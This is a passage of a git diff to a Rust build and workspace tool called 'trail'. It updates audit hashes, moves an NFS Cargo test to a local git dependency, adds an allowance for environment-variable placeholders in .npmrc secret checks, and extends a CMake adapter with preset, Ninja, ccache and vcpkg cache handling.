b/trail/src/db/change_ledger/activation.rs index 1c30d9a0..04ca2b14 100644 --- a/trail/src/db/change_ledger/activation.rs +++ b/trail/src/db/change_ledger/activation.rs @@ -4,14 +4,14 @@ use sha2::{Digest, Sha256}; const APPROVED_PRODUCER_INVENTORY_SHA256: &str = "af2cca0566976a6d6f6cea00e99fe5089c91e357ca1d0a50fd5397edcda32833"; const APPROVED_RAW_MUTATION_INVENTORY_SHA256: &str = - "b019b6ae19373c56d71f3216008cca8cef1a5fda85d5781136e76781d0408530"; + "9555ad8d0be83713955c1d6e3a6dfb8524d4d861c473f9a51bdc4e3144d0518d"; const APPROVED_ACTIVATION_AUDIT_SHA256: &str = - "58c8857047844e15d91807540225941fa92724deb46f15b4604cbb1edfa565d5"; + "9f5f462f7eae0fc6f903c4fb89146b3f59caf6bb5b415221a65938edba59e4df"; const ACTIVATION_AUDIT_MANIFEST: &str = concat!( "trail-changed-path-activation-v1\n", "schema=1\n", "producer=af2cca0566976a6d6f6cea00e99fe5089c91e357ca1d0a50fd5397edcda32833\n", - "raw=b019b6ae19373c56d71f3216008cca8cef1a5fda85d5781136e76781d0408530\n", + "raw=9555ad8d0be83713955c1d6e3a6dfb8524d4d861c473f9a51bdc4e3144d0518d\n", "linux_suite=changed_path_ledger_linux\n", "macos_suite=changed_path_ledger_macos\n", "recovery_suite=changed_path_ledger_recovery\n", diff --git a/trail/src/db/lane/workdir/nfs_overlay.rs b/trail/src/db/lane/workdir/nfs_overlay.rs index fba4f2c1..9e0153cc 100644 --- a/trail/src/db/lane/workdir/nfs_overlay.rs +++ b/trail/src/db/lane/workdir/nfs_overlay.rs @@ -2060,33 +2060,63 @@ mod macos { .is_ok_and(|output| output.status.success()), "cargo is required for the real NFS target-layer acceptance test" ); + assert!( + Command::new("git") + .arg("--version") + .output() + .is_ok_and(|output| output.status.success()), + "git is required for the pinned dependency in the real NFS target-layer acceptance test" + ); let temp = tempfile::tempdir().unwrap(); - fs::create_dir_all(temp.path().join("src")).unwrap(); - fs::create_dir_all(temp.path().join("shared-dep/src")).unwrap(); + let repository = temp.path().join("repository"); + let shared_dep = temp.path().join("shared-dep"); + fs::create_dir_all(repository.join("src")).unwrap(); + fs::create_dir_all(shared_dep.join("src")).unwrap(); fs::write( - temp.path().join("Cargo.toml"), - "[package]\nname = \"nfs-cache-probe\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\nshared-dep = { path = \"shared-dep\" }\n", + shared_dep.join("Cargo.toml"), + "[package]\nname = \"shared-dep\"\nversion = \"0.1.0\"\nedition = \"2021\"\n", ) .unwrap(); fs::write( - temp.path().join("src/lib.rs"), - "pub fn answer() -> u64 { shared_dep::answer() }\n", + shared_dep.join("src/lib.rs"), + "pub fn answer() -> u64 { 42 }\n", ) .unwrap(); + for args in [ + vec!["init", "--quiet"], + vec!["config", "user.name", "Trail Test"], + vec!["config", "user.email", "trail@example.invalid"], + vec!["add", "Cargo.toml", "src/lib.rs"], + vec!["commit", "--quiet", "-m", "fixture"], + ] { + assert!(Command::new("git") + .arg("-C") + .arg(&shared_dep) + .args(args) + .status() + .unwrap() + .success()); + } + let shared_dep_url = format!( + "file://{}", + shared_dep.canonicalize().unwrap().to_string_lossy() + ); fs::write( - temp.path().join("shared-dep/Cargo.toml"), - "[package]\nname = \"shared-dep\"\nversion = \"0.1.0\"\nedition = \"2021\"\n", + repository.join("Cargo.toml"), + format!( + "[package]\nname = \"nfs-cache-probe\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\nshared-dep = {{ git = {shared_dep_url:?} }}\n" + ), ) .unwrap(); fs::write( - temp.path().join("shared-dep/src/lib.rs"), - "pub fn answer() -> u64 { 42 }\n", + repository.join("src/lib.rs"), + "pub fn answer() -> u64 { shared_dep::answer() }\n", ) .unwrap(); let lock = Command::new("cargo") - .args(["generate-lockfile", "--offline"]) - .current_dir(temp.path()) + .arg("generate-lockfile") + .current_dir(&repository) .output() .unwrap(); assert!( @@ -2094,19 +2124,8 @@ mod macos { "cargo generate-lockfile failed: {}", String::from_utf8_lossy(&lock.stderr) ); - let nested_lock = Command::new("cargo") - .args(["generate-lockfile", "--offline"]) - .current_dir(temp.path().join("shared-dep")) - .output() - .unwrap(); - assert!( - nested_lock.status.success(), - "nested cargo generate-lockfile failed: {}", - String::from_utf8_lossy(&nested_lock.stderr) - ); - - Trail::init(temp.path(), "main", InitImportMode::WorkingTree, false).unwrap(); - let mut db = Trail::open(temp.path()).unwrap(); + Trail::init(&repository, "main", InitImportMode::WorkingTree, false).unwrap(); + let mut db = Trail::open(&repository).unwrap(); for lane in ["rust-nfs-a", "rust-nfs-b"] { db.spawn_lane_with_workdir_mode_paths_and_neighbors( lane, @@ -2125,9 +2144,10 @@ mod macos { .exec_lane_workspace( "rust-nfs-a", &[ - "cargo".to_string(), - "build".to_string(), - "--offline".to_string(), + "sh".to_string(), + "-c".to_string(), + "cargo build --offline -vv --color never > target/trail-cargo.stdout 2> target/trail-cargo.stderr" + .to_string(), ], ) .unwrap(); @@ -2189,13 +2209,18 @@ mod macos { .phases .iter() .any(|phase| { phase.phase == "sync_all" && phase.status == "skipped" })); - let layer = db .sync_workspace_environment("rust-nfs-b", "cargo", None) .unwrap(); assert_eq!(layer.adapter, "cargo-target-seed"); assert!(layer_ids_a.contains(&layer.layer_id)); - + assert!( + tree_has_name_fragment( + &Path::new(&layer.storage_path).join("debug/.fingerprint"), + "lib-shared_dep" + ), + "the immutable Cargo target seed omitted Cargo fingerprint metadata" + ); let second = db .exec_lane_workspace( "rust-nfs-b", diff --git a/trail/src/db/lane/workdir/view_core.rs b/trail/src/db/lane/workdir/view_core.rs index 72b50d74..0495b1cc 100644 --- a/trail/src/db/lane/workdir/view_core.rs +++ b/trail/src/db/lane/workdir/view_core.rs @@ -360,7 +360,7 @@ impl ViewCore { .is_some_and(|rest| rest.starts_with('/')) }); match binding.map(|binding| binding.kind.as_str()) { - Some("dependency") => ViewPathClass::Dependency, + Some("dependency" | "external") => ViewPathClass::Dependency, Some("compiler-results" | "generated" | "build") => ViewPathClass::Generated, _ => conventional, } @@ -1547,7 +1547,7 @@ impl ViewCore { ))); } let class = match layer_kind { - "dependency" => ViewPathClass::Dependency, + "dependency" | "external" => ViewPathClass::Dependency, "compiler-results" | "generated" | "build" => ViewPathClass::Generated, other => { return Err(Error::InvalidInput(format!( @@ -1587,7 +1587,7 @@ impl ViewCore { ))); } let class = match layer_kind { - "dependency" => ViewPathClass::Dependency, + "dependency" | "external" => ViewPathClass::Dependency, "compiler-results" | "generated" | "build" => ViewPathClass::Generated, other => { return Err(Error::InvalidInput(format!( @@ -1648,7 +1648,7 @@ impl ViewCore { ))); } let class = match layer_kind { - "dependency" => ViewPathClass::Dependency, + "dependency" | "external" => ViewPathClass::Dependency, "compiler-results" | "generated" | "build" => ViewPathClass::Generated, other => { return Err(Error::InvalidInput(format!( @@ -2955,6 +2955,18 @@ mod tests { .is_none()); } + #[test] + fn external_private_state_can_initialize_in_private_upper_storage() { + let (_temp, db, root, upper) = fixture(); + let layout = ViewUpperLayout::from_source_upper(upper.clone()); + let mut view = lazy_core(&db, &root, upper); + + view.ensure_declared_private_mount_path(".trail-nix-profile", "external") + .unwrap(); + + assert!(layout.generated_upper.join(".trail-nix-profile").is_dir()); + } + #[test] fn interrupted_layer_unmount_discards_private_upper_when_binding_removal_committed() { let (_temp, db, root, upper) = fixture(); diff --git a/trail/src/db/lane/workspace_artifact.rs b/trail/src/db/lane/workspace_artifact.rs index c0ee4fec..d355c312 100644 --- a/trail/src/db/lane/workspace_artifact.rs +++ b/trail/src/db/lane/workspace_artifact.rs @@ -6485,7 +6485,9 @@ fn validate_artifact_secret_policy( let sensitive = match relative_path { Some(path) if policy == ArtifactSecretPolicy::LockedPublicDependencies => { is_secret_bearing_artifact_path(path) - && (contains_private_key || contains_sensitive_text(text)) + && (contains_private_key + || contains_sensitive_text(text) + && !artifact_sensitive_values_are_placeholders(text)) } Some(path) => { contains_private_key @@ -6504,6 +6506,41 @@ fn validate_artifact_secret_policy( Ok(()) } +fn artifact_sensitive_values_are_placeholders(text: &str) -> bool { + let mut found_sensitive_assignment = false; + for line in text.lines() { + if !contains_sensitive_text(line) { + continue; + } + let Some((_, value)) = line.split_once('=') else { + return false; + }; + if !is_environment_secret_placeholder(value.trim()) { + return false; + } + found_sensitive_assignment = true; + } + found_sensitive_assignment +} + +fn is_environment_secret_placeholder(value: &str) -> bool { + let value = value + .strip_prefix('"') + .and_then(|value| value.strip_suffix('"')) + .unwrap_or(value); + let Some(name) = value + .strip_prefix("${") + .and_then(|value| value.strip_suffix('}')) + else { + return false; + }; + !name.is_empty() + && name.chars().enumerate().all(|(index, character)| { + character == '_' + || character.is_ascii_alphanumeric() && (index > 0 || !character.is_ascii_digit()) + }) +} + fn is_secret_bearing_artifact_path(path: &str) -> bool { let name = path.rsplit('/').next().unwrap_or(path).to_ascii_lowercase(); name == ".npmrc" @@ -8186,6 +8223,27 @@ mod tests { ) .unwrap_err(); assert!(error.to_string().contains("private.key")); + + validate_artifact_secret_policy( + b"//registry.npmjs.org/:_authToken=${NPM_TOKEN}\n", + Some("nerf-dart/.npmrc"), + ArtifactSecretPolicy::LockedPublicDependencies, + ) + .unwrap(); + for (bytes, policy) in [ + ( + b"//registry.npmjs.org/:_authToken=npm_real_secret\n".as_slice(), + ArtifactSecretPolicy::LockedPublicDependencies, + ), + ( + b"//registry.npmjs.org/:_authToken=${NPM_TOKEN}\n".as_slice(), + ArtifactSecretPolicy::Strict, + ), + ] { + let error = + validate_artifact_secret_policy(bytes, Some("package/.npmrc"), policy).unwrap_err(); + assert!(error.to_string().contains("secret material")); + } } #[cfg(unix)] diff --git a/trail/src/db/lane/workspace_cmake.rs b/trail/src/db/lane/workspace_cmake.rs index ec8737f6..5f5bf5c4 100644 --- a/trail/src/db/lane/workspace_cmake.rs +++ b/trail/src/db/lane/workspace_cmake.rs @@ -1,11 +1,14 @@ use super::workspace_environment::{ - resolve_workspace_tool_executable, WorkspaceEnvironmentAdapter, - WorkspaceEnvironmentAdapterMetadata, WorkspaceEnvironmentOutput, - WorkspaceEnvironmentOutputCommandBinding, WorkspaceEnvironmentOutputPolicy, - WorkspaceEnvironmentPlan, WorkspaceEnvironmentSandboxPolicy, - WorkspaceEnvironmentToolCommandBinding, + resolve_workspace_tool_executable, workspace_tool_identity_for_path, + WorkspaceEnvironmentAdapter, WorkspaceEnvironmentAdapterMetadata, + WorkspaceEnvironmentCacheAccess, WorkspaceEnvironmentCacheCommandBinding, + WorkspaceEnvironmentCacheProtocol, WorkspaceEnvironmentCommandBinding, + WorkspaceEnvironmentOutput, WorkspaceEnvironmentOutputCommandBinding, + WorkspaceEnvironmentOutputPolicy, WorkspaceEnvironmentPlan, WorkspaceEnvironmentSandboxPolicy, + WorkspaceEnvironmentToolCommandBinding, WORKSPACE_COMMAND_BINDING_MOUNTPOINT, }; use super::*; +use crate::ids::sha256_hex; pub(crate) struct CmakeBuildTreeAdapter; @@ -18,7 +21,7 @@ static CMAKE_BUILD_TREE_ADAPTER_METADATA: WorkspaceEnvironmentAdapterMetadata = name: "cmake-build", contract_major: 1, implementation_version: env!("CARGO_PKG_VERSION"), - distribution_digest: "builtin:cmake-build-plan-v2", + distribution_digest: "builtin:cmake-build-plan-v3", selectors: &["trail/cmake-build@1", "cmake-build", "cmake"], kind: "build", layer_adapter_name: "cmake-build", @@ -26,26 +29,138 @@ static CMAKE_BUILD_TREE_ADAPTER_METADATA: WorkspaceEnvironmentAdapterMetadata = supported_operating_systems: &["linux", "macos", "windows"], supported_architectures: &["aarch64", "x86_64"], stability: "experimental", - description: "Lane-private CMake build tree with configure deferred to the mounted lane", + description: "Lane-private CMake build tree with contained preset, Ninja, toolchain, ccache, and pinned vcpkg identity", }; -const CMAKE_OUTPUT_COMMAND_BINDINGS: &[WorkspaceEnvironmentOutputCommandBinding] = - &[WorkspaceEnvironmentOutputCommandBinding { +const CMAKE_CACHE_COMMAND_BINDINGS: &[WorkspaceEnvironmentCacheCommandBinding] = &[ + WorkspaceEnvironmentCacheCommandBinding { + cache_name: "compiler-cache", + environment: "CCACHE_DIR", + relative_path: "", + required: false, + }, + WorkspaceEnvironmentCacheCommandBinding { + cache_name: "vcpkg-downloads", + environment: "VCPKG_DOWNLOADS", + relative_path: "", + required: false, + }, + WorkspaceEnvironmentCacheCommandBinding { + cache_name: "vcpkg-binaries", + environment: "VCPKG_DEFAULT_BINARY_CACHE", + relative_path: "", + required: false, + }, +]; + +const CMAKE_COMMAND_BINDINGS: &[WorkspaceEnvironmentCommandBinding] = &[ + WorkspaceEnvironmentCommandBinding { + environment: "CMAKE_BUILD_PARALLEL_LEVEL", + value: "2", + }, + WorkspaceEnvironmentCommandBinding { + environment: "VCPKG_BINARY_SOURCES", + value: "clear;default,readwrite", + }, + WorkspaceEnvironmentCommandBinding { + environment: "X_VCPKG_ASSET_SOURCES", + value: "clear;x-block-origin", + }, + WorkspaceEnvironmentCommandBinding { + environment: "CCACHE_BASEDIR", + value: WORKSPACE_COMMAND_BINDING_MOUNTPOINT, + }, + WorkspaceEnvironmentCommandBinding { + environment: "CCACHE_NOHASHDIR", + value: "true", + }, +]; + +const CMAKE_OUTPUT_COMMAND_BINDINGS: &[WorkspaceEnvironmentOutputCommandBinding] = &[ + WorkspaceEnvironmentOutputCommandBinding { output_name: "build-tree", environment: Some("TRAIL_CMAKE_BUILD_DIR"), relative_path: "", direct: true, prepend_path: false, required: true, - }]; + }, + WorkspaceEnvironmentOutputCommandBinding { + output_name: "build-tree", + environment: Some("TRAIL_CMAKE_MOUNTED_BUILD_DIR"), + relative_path: "", + direct: false, + prepend_path: false, + required: true, + }, +]; -const CMAKE_TOOL_COMMAND_BINDINGS: &[WorkspaceEnvironmentToolCommandBinding] = - &[WorkspaceEnvironmentToolCommandBinding { +const CMAKE_TOOL_COMMAND_BINDINGS: &[WorkspaceEnvironmentToolCommandBinding] = &[ + WorkspaceEnvironmentToolCommandBinding { programs: &["cmake"], environment: "TRAIL_CMAKE", required: true, prepend_path: true, - }]; + }, + WorkspaceEnvironmentToolCommandBinding { + programs: &["ninja"], + environment: "TRAIL_NINJA", + required: false, + prepend_path: true, + }, + WorkspaceEnvironmentToolCommandBinding { + programs: &["ccache"], + environment: "TRAIL_CCACHE", + required: false, + prepend_path: true, + }, + WorkspaceEnvironmentToolCommandBinding { + programs: &["vcpkg"], + environment: "TRAIL_VCPKG", + required: false, + prepend_path: true, + }, +]; + +const MAX_CMAKE_PRESET_BYTES: u64 = 1024 * 1024; +const MAX_CMAKE_PRESET_FILES: usize = 64; +const CMAKE_PRESET_SELECTION_ENV: &str = "TRAIL_CMAKE_CONFIGURE_PRESET"; +#[cfg(windows)] +const DEFAULT_C_COMPILER: &str = "cl"; +#[cfg(not(windows))] +const DEFAULT_C_COMPILER: &str = "cc"; +#[cfg(windows)] +const DEFAULT_CXX_COMPILER: &str = "cl"; +#[cfg(not(windows))] +const DEFAULT_CXX_COMPILER: &str = "c++"; + +#[derive(Clone, Debug, Default)] +struct CmakePresetAuthority { + selected: Option, + generator: Option, + toolchain_file: Option, + uses_ccache: bool, + inputs: BTreeMap, + cache_variables: BTreeMap, +} + +#[derive(Clone, Debug, Default)] +struct CmakeDependencyAuthority { + uses_vcpkg: bool, + inputs: BTreeMap, + tool_versions: BTreeMap, +} + +#[derive(Clone, Debug)] +struct CmakePresetDefinition { + name: String, + hidden: bool, + inherits: Vec, + generator: Option, + toolchain_file: Option, + cache_variables: BTreeMap, + environment: BTreeMap, +} impl WorkspaceEnvironmentAdapter for CmakeBuildTreeAdapter { fn metadata(&self) -> &'static WorkspaceEnvironmentAdapterMetadata { @@ -61,6 +176,14 @@ impl WorkspaceEnvironmentAdapter for CmakeBuildTreeAdapter { }) } + fn cache_command_bindings(&self) -> &'static [WorkspaceEnvironmentCacheCommandBinding] { + CMAKE_CACHE_COMMAND_BINDINGS + } + + fn command_bindings(&self) -> &'static [WorkspaceEnvironmentCommandBinding] { + CMAKE_COMMAND_BINDINGS + } + fn output_command_bindings(&self) -> &'static [WorkspaceEnvironmentOutputCommandBinding] { CMAKE_OUTPUT_COMMAND_BINDINGS } @@ -92,10 +215,12 @@ impl WorkspaceEnvironmentAdapter for CmakeBuildTreeAdapter { } let cmake = resolve_workspace_tool_executable("cmake")?; let implementation_version = env!("CARGO_PKG_VERSION").to_string(); - let distribution_digest = "builtin:cmake-build-plan-v2".to_string(); + let distribution_digest = "builtin:cmake-build-plan-v3".to_string(); let mount_path = join_repo_path(&component_root, "build"); let component_id = self.component_id(&component_root)?; - let inputs = BTreeMap::from([ + let preset = cmake_preset_authority(db, source_root, &component_root)?; + let dependency = cmake_dependency_authority(db, source_root, &component_root, &preset)?; + let mut inputs = BTreeMap::from([ ("component_id".to_string(), component_id.clone()), ("component_root".to_string(), component_root.clone()), ("manifest".to_string(), manifest_path), @@ -117,10 +242,111 @@ impl WorkspaceEnvironmentAdapter for CmakeBuildTreeAdapter { ), ( "command_environment".to_string(), - "TRAIL_CMAKE_BUILD_DIR=direct-output:build-tree;TRAIL_CMAKE=tool:cmake;PATH+=tool-dir:cmake" + "TRAIL_CMAKE_BUILD_DIR=direct-output:build-tree;TRAIL_CMAKE_MOUNTED_BUILD_DIR=mounted-output:build-tree;TRAIL_CMAKE=tool:cmake;TRAIL_NINJA=tool?:ninja;TRAIL_CCACHE=tool?:ccache;CCACHE_DIR=cache?:compiler-cache;CCACHE_BASEDIR=lane-mount;CCACHE_NOHASHDIR=true;PATH+=tool-dirs" .to_string(), ), ]); + inputs.extend( + preset + .inputs + .iter() + .map(|(path, hash)| (format!("preset:{path}"), hash.clone())), + ); + inputs.extend( + dependency + .inputs + .iter() + .map(|(path, hash)| (format!("cmake_dependency:{path}"), hash.clone())), + ); + if let Some(selected) = &preset.selected { + inputs.insert("configure_preset".to_string(), selected.clone()); + } + if let Some(generator) = &preset.generator { + inputs.insert("generator".to_string(), generator.clone()); + } + if let Some(toolchain) = &preset.toolchain_file { + inputs.insert("toolchain_file".to_string(), toolchain.clone()); + } + let mut tool_versions = BTreeMap::from([("cmake-executable".to_string(), cmake.identity)]); + if preset + .generator + .as_deref() + .is_some_and(is_supported_ninja_generator) + { + let ninja = resolve_workspace_tool_executable("ninja")?; + tool_versions.insert("ninja-executable".to_string(), ninja.identity); + } + if preset.selected.is_some() { + let c_compiler = resolve_cmake_compiler( + &preset.cache_variables, + "CMAKE_C_COMPILER", + DEFAULT_C_COMPILER, + )?; + let cxx_compiler = resolve_cmake_compiler( + &preset.cache_variables, + "CMAKE_CXX_COMPILER", + DEFAULT_CXX_COMPILER, + )?; + tool_versions.insert("c-compiler".to_string(), c_compiler); + tool_versions.insert("cxx-compiler".to_string(), cxx_compiler); + } + tool_versions.extend(dependency.tool_versions.clone()); + let mut caches = Vec::new(); + if preset.uses_ccache { + let ccache = resolve_workspace_tool_executable("ccache")?; + tool_versions.insert("ccache-executable".to_string(), ccache.identity.clone()); + caches.push(db.declare_workspace_environment_cache( + self.identity(), + "compiler-cache", + WorkspaceEnvironmentCacheProtocol::CompilerCache, + WorkspaceEnvironmentCacheAccess::ToolConcurrent, + BTreeMap::from([ + ("ccache_executable".to_string(), ccache.identity), + ( + "c_compiler".to_string(), + tool_versions["c-compiler"].clone(), + ), + ( + "cxx_compiler".to_string(), + tool_versions["cxx-compiler"].clone(), + ), + ( + "generator".to_string(), + preset.generator.clone().unwrap_or_default(), + ), + ("platform".to_string(), std::env::consts::OS.to_string()), + ( + "architecture".to_string(), + std::env::consts::ARCH.to_string(), + ), + ]), + )?); + } + if dependency.uses_vcpkg { + for (name, purpose) in [ + ("vcpkg-downloads", "source-archives"), + ("vcpkg-binaries", "binary-packages"), + ] { + caches.push(db.declare_workspace_environment_cache( + self.identity(), + name, + WorkspaceEnvironmentCacheProtocol::ContentStore, + WorkspaceEnvironmentCacheAccess::HostExclusive, + BTreeMap::from([ + ("purpose".to_string(), purpose.to_string()), + ( + "vcpkg".to_string(), + dependency.tool_versions["vcpkg-executable"].clone(), + ), + ("platform".to_string(), std::env::consts::OS.to_string()), + ( + "architecture".to_string(), + std::env::consts::ARCH.to_string(), + ), + ]), + )?); + } + } Ok(WorkspaceEnvironmentPlan { component_id, adapter_identity: self.identity().to_string(), @@ -135,7 +361,7 @@ impl WorkspaceEnvironmentAdapter for CmakeBuildTreeAdapter { adapter: self.layer_adapter_name().to_string(), adapter_version: 1, inputs, - tool_versions: BTreeMap::from([("cmake-executable".to_string(), cmake.identity)]), + tool_versions, platform: std::env::consts::OS.to_string(), architecture: std::env::consts::ARCH.to_string(), portability_scope: "lane-private-host-tool".to_string(), @@ -147,8 +373,13 @@ impl WorkspaceEnvironmentAdapter for CmakeBuildTreeAdapter { source_projection: None, pre_commands: Vec::new(), command: None, + // CMakeCache.txt records absolute source and build paths. Running + // configure against Trail's ephemeral sync candidate would make + // the persisted private tree stale immediately after activation. + // Configure is therefore explicit inside the stable lane mount: + // cmake --preset -B "$TRAIL_CMAKE_BUILD_DIR". mounted_commands: Vec::new(), - caches: Vec::new(), + caches, external_artifacts: Vec::new(), runtime_resources: Vec::new(), sandbox_policy: WorkspaceEnvironmentSandboxPolicy::TrustedBuiltin, @@ -172,6 +403,789 @@ impl WorkspaceEnvironmentAdapter for CmakeBuildTreeAdapter { } } +fn cmake_preset_authority( + db: &Trail, + source_root: &ObjectId, + component_root: &str, +) -> Result { + let project_presets = join_repo_path(component_root, "CMakePresets.json"); + let user_presets = join_repo_path(component_root, "CMakeUserPresets.json"); + let selection_path = join_repo_path(component_root, ".trail-cmake-preset"); + let mut pending = Vec::new(); + for path in [&project_presets, &user_presets] { + if db.root_file_entry(source_root, path)?.is_some() { + pending.push(path.clone()); + } + } + if pending.is_empty() { + return Ok(CmakePresetAuthority::default()); + } + + let mut inputs = BTreeMap::new(); + let mut definitions = BTreeMap::::new(); + let mut seen = BTreeSet::new(); + while let Some(path) = pending.pop() { + if !seen.insert(path.clone()) { + continue; + } + if seen.len() > MAX_CMAKE_PRESET_FILES { + return Err(Error::InvalidInput(format!( + "CMake preset graph exceeds {MAX_CMAKE_PRESET_FILES} files" + ))); + } + let entry = db.root_file_entry(source_root, &path)?.ok_or_else(|| { + Error::InvalidInput(format!("CMake preset include `{path}` does not exist")) + })?; + if entry.size_bytes > MAX_CMAKE_PRESET_BYTES { + return Err(Error::InvalidInput(format!( + "CMake preset file `{path}` exceeds {MAX_CMAKE_PRESET_BYTES} bytes" + ))); + } + let bytes = db.materialize_entry_bytes(&entry)?; + let document: serde_json::Value = serde_json::from_slice(&bytes).map_err(|error| { + Error::InvalidInput(format!( + "CMake preset file `{path}` is malformed JSON: {error}" + )) + })?; + inputs.insert(path.clone(), entry.content_hash); + if let Some(includes) = document.get("include") { + let includes = match includes { + serde_json::Value::String(include) => vec![include.as_str()], + serde_json::Value::Array(values) => values + .iter() + .map(|value| { + value.as_str().ok_or_else(|| { + Error::InvalidInput(format!( + "CMake preset include entries in `{path}` must be strings" + )) + }) + }) + .collect::>>()?, + _ => { + return Err(Error::InvalidInput(format!( + "CMake preset include in `{path}` must be a string or array" + ))) + } + }; + for include in includes { + if include.contains('$') { + return Err(Error::InvalidInput(format!( + "CMake preset include `{include}` in `{path}` uses a macro; Trail requires a literal contained include" + ))); + } + pending.push(contained_cmake_reference(component_root, &path, include)?); + } + } + let configure_presets = document + .get("configurePresets") + .map_or(Ok(&[][..]), |value| { + value.as_array().map(Vec::as_slice).ok_or_else(|| { + Error::InvalidInput(format!("configurePresets in `{path}` must be an array")) + }) + })?; + for value in configure_presets { + let definition = parse_cmake_preset_definition(value, &path)?; + if definitions + .insert(definition.name.clone(), definition.clone()) + .is_some() + { + return Err(Error::InvalidInput(format!( + "CMake configure preset `{}` is defined more than once", + definition.name + ))); + } + } + } + + let committed_selection = if let Some(entry) = + db.root_file_entry(source_root, &selection_path)? + { + if entry.size_bytes > 256 { + return Err(Error::InvalidInput(format!( + "CMake preset selection `{selection_path}` exceeds 256 bytes" + ))); + } + let bytes = db.materialize_entry_bytes(&entry)?; + inputs.insert(selection_path.clone(), entry.content_hash); + let selected = std::str::from_utf8(&bytes) + .map_err(|_| { + Error::InvalidInput(format!( + "CMake preset selection `{selection_path}` is not UTF-8" + )) + })? + .trim(); + if selected.is_empty() || selected.len() > 128 || selected.chars().any(char::is_whitespace) + { + return Err(Error::InvalidInput(format!( + "CMake preset selection `{selection_path}` must contain one bounded preset name" + ))); + } + Some(selected.to_string()) + } else { + None + }; + let environment_selection = std::env::var(CMAKE_PRESET_SELECTION_ENV) + .ok() + .map(|selected| selected.trim().to_string()) + .filter(|selected| !selected.is_empty()); + if environment_selection + .as_ref() + .is_some_and(|selected| selected.len() > 128 || selected.chars().any(char::is_whitespace)) + { + return Err(Error::InvalidInput(format!( + "{CMAKE_PRESET_SELECTION_ENV} must name one bounded configure preset" + ))); + } + if let (Some(committed), Some(environment)) = (&committed_selection, &environment_selection) + && committed != environment + { + return Err(Error::InvalidInput(format!( + "committed CMake preset selection `{committed}` conflicts with {CMAKE_PRESET_SELECTION_ENV}=`{environment}`" + ))); + } + if let Some(selected) = &environment_selection { + inputs.insert("environment-configure-preset".to_string(), selected.clone()); + } + let explicitly_selected = committed_selection.or(environment_selection); + let selected = if let Some(selected) = explicitly_selected { + let definition = definitions.get(&selected).ok_or_else(|| { + Error::InvalidInput(format!( + "CMake preset selection names missing configure preset `{selected}`" + )) + })?; + if definition.hidden { + return Err(Error::InvalidInput(format!( + "CMake configure preset `{selected}` is hidden and cannot be selected" + ))); + } + selected + } else { + let visible = definitions + .values() + .filter(|definition| !definition.hidden) + .map(|definition| definition.name.clone()) + .collect::>(); + match visible.as_slice() { + [selected] => selected.clone(), + [] => { + return Err(Error::InvalidInput( + "CMake preset graph has no visible configure preset".to_string(), + )) + } + _ => { + return Err(Error::InvalidInput(format!( + "CMake preset selection is ambiguous ({}); commit .trail-cmake-preset with one configure preset name", + visible.join(", ") + ))) + } + } + }; + let expanded = expand_cmake_preset(&selected, &definitions, &mut BTreeSet::new())?; + let generator = expanded.generator.ok_or_else(|| { + Error::InvalidInput(format!( + "CMake configure preset `{selected}` does not resolve a generator" + )) + })?; + if !is_supported_ninja_generator(&generator) { + return Err(Error::InvalidInput(format!( + "CMake configure preset `{selected}` selects unsupported generator `{generator}`; modern preset certification currently requires Ninja or Ninja Multi-Config" + ))); + } + let toolchain_file = expanded + .toolchain_file + .or_else(|| expanded.cache_variables.get("CMAKE_TOOLCHAIN_FILE").cloned()) + .map(|reference| { + if reference == "$env{VCPKG_ROOT}/scripts/buildsystems/vcpkg.cmake" { + return Ok(reference); + } + if reference.contains('$') { + return Err(Error::InvalidInput(format!( + "CMake toolchain reference `{reference}` uses an unsupported macro; Trail permits only a contained literal path or the exact pinned vcpkg host-toolchain reference" + ))); + } + let path = contained_cmake_component_path(component_root, &reference)?; + let entry = db.root_file_entry(source_root, &path)?.ok_or_else(|| { + Error::InvalidInput(format!("CMake toolchain file `{path}` does not exist")) + })?; + if entry.size_bytes > MAX_CMAKE_PRESET_BYTES { + return Err(Error::InvalidInput(format!( + "CMake toolchain file `{path}` exceeds {MAX_CMAKE_PRESET_BYTES} bytes" + ))); + } + inputs.insert(path.clone(), entry.content_hash); + Ok(path) + }) + .transpose()?; + let uses_ccache = ["CMAKE_C_COMPILER_LAUNCHER", "CMAKE_CXX_COMPILER_LAUNCHER"] + .iter() + .any(|key| { + expanded + .cache_variables + .get(*key) + .is_some_and(|value| value.split(';').any(|part| part == "ccache")) + }); + validate_cmake_preset_environment(&selected, &expanded.environment)?; + let expanded_identity = serde_json::json!({ + "name": selected, + "generator": generator, + "toolchain_file": toolchain_file, + "cache_variables": expanded.cache_variables, + "environment": expanded.environment, + }); + inputs.insert( + "expanded-configure-preset".to_string(), + sha256_hex(&serde_json::to_vec(&expanded_identity)?), + ); + Ok(CmakePresetAuthority { + selected: Some(selected), + generator: Some(generator), + toolchain_file, + uses_ccache, + inputs, + cache_variables: expanded.cache_variables, + }) +} + +fn is_supported_ninja_generator(generator: &str) -> bool { + matches!(generator, "Ninja" | "Ninja Multi-Config") +} + +fn parse_cmake_preset_definition( + value: &serde_json::Value, + source_path: &str, +) -> Result { + let object = value.as_object().ok_or_else(|| { + Error::InvalidInput(format!( + "configure preset in `{source_path}` must be an object" + )) + })?; + let name = object + .get("name") + .and_then(serde_json::Value::as_str) + .filter(|name| !name.is_empty() && name.len() <= 128) + .ok_or_else(|| { + Error::InvalidInput(format!( + "configure preset in `{source_path}` requires one bounded name" + )) + })? + .to_string(); + let inherits = match object.get("inherits") { + None => Vec::new(), + Some(serde_json::Value::String(parent)) => vec![parent.clone()], + Some(serde_json::Value::Array(parents)) => parents + .iter() + .map(|parent| { + parent.as_str().map(str::to_string).ok_or_else(|| { + Error::InvalidInput(format!( + "configure preset `{name}` inherits entries must be strings" + )) + }) + }) + .collect::>>()?, + Some(_) => { + return Err(Error::InvalidInput(format!( + "configure preset `{name}` inherits must be a string or array" + ))) + } + }; + let mut cache_variables = BTreeMap::new(); + if let Some(values) = object.get("cacheVariables") { + let values = values.as_object().ok_or_else(|| { + Error::InvalidInput(format!( + "configure preset `{name}` cacheVariables must be an object" + )) + })?; + for (key, value) in values { + let value = match value { + serde_json::Value::String(value) => value.clone(), + serde_json::Value::Bool(value) => value.to_string(), + serde_json::Value::Number(value) => value.to_string(), + serde_json::Value::Object(value) => value + .get("value") + .and_then(serde_json::Value::as_str) + .ok_or_else(|| { + Error::InvalidInput(format!( + "configure preset `{name}` cache variable `{key}` has an unsupported typed value" + )) + })? + .to_string(), + serde_json::Value::Null 